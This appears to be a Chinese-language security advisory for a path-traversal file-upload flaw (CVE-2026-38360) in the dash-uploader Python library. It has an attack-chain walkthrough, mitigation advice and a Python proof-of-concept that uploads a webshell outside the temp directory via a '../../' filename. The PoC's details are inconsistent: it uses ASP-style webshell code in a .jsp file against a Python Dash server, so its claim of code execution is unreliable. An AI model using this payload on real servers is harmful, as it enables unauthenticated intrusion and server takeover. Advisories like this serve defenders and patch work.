CVE-2026-38360 dash-uploader目录遍历致代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-38360

漏洞类型

目录遍历

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

fohrloop dash-uploader

漏洞概述

fohrloop dash-uploader v0.1.0至v0.7.0a2版本存在严重的目录遍历漏洞。该漏洞源于`dash_uploader/httprequesthandler.py`组件中`get_temp_root()`和`_post()`函数未能正确验证用户上传请求的路径。未经身份验证的远程攻击者可利用此漏洞绕过限制，遍历服务器目录并写入恶意文件，最终在目标系统上执行任意代码，严重威胁系统安全。

技术细节

该漏洞的核心在于文件上传处理逻辑中缺乏对路径回退符（如`../`）的有效过滤。在`BaseHttpRequestHandler._post()`方法处理上传请求时，程序调用`get_temp_root()`获取临时目录路径，但未对文件名参数进行严格的规范化处理或边界检查。攻击者可以通过在HTTP POST请求中注入路径遍历序列（例如`../../var/www/html/`），将上传的文件重定向并写入Web根目录或其他系统关键目录。由于该组件无需身份认证（PR:N）且无需用户交互（UI:N），攻击者可直接发送特制数据包发起攻击。一旦恶意脚本文件（如Webshell或可执行文件）被成功上传至服务器可执行路径，攻击者即可通过远程访问该文件，从而在服务器端执行任意系统命令，导致服务器被完全控制。

攻击链分析

STEP 1

侦察

攻击者识别目标服务器上使用了存在漏洞的fohrloop dash-uploader组件。

STEP 2

漏洞利用

攻击者构造包含目录遍历字符（如../）的恶意HTTP POST请求，针对`dash_uploader/httprequesthandler.py`接口发送文件上传数据。

STEP 3

文件写入

由于未正确过滤路径，服务器将恶意文件写入到预期的临时目录之外的任意位置（如Web根目录）。

STEP 4

代码执行

攻击者通过浏览器或工具访问上传的恶意文件，触发服务器端解析，从而执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL example (depends on deployment)
target_url = "http://target-host:8050/_dash-upload"

# Malicious content to be uploaded
malicious_content = "<% eval request['cmd'] %>"  # Example webshell content

# Exploit the directory traversal in dash_uploader/httprequesthandler.py
# Using '../' to escape the intended temp directory
payload_filename = "../../uploads/exploit.jsp"

files = {
    'file': (payload_filename, malicious_content, 'application/octet-stream')
}

try:
    # Send the malicious POST request (No Authentication required)
    response = requests.post(target_url, files=files)
    
    if response.status_code == 200:
        print("[+] PoC request sent successfully.")
        print("[+] Check if the file was written outside the temp root.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

fohrloop dash-uploader v0.1.0 - v0.7.0a2

防御指南

临时缓解措施

建议立即检查并更新fohrloop dash-uploader库。在未升级补丁前，应通过网络访问控制列表（ACL）限制对上传接口的非必要访问，或临时禁用该文件上传功能，以防止远程攻击者利用此漏洞获取服务器控制权。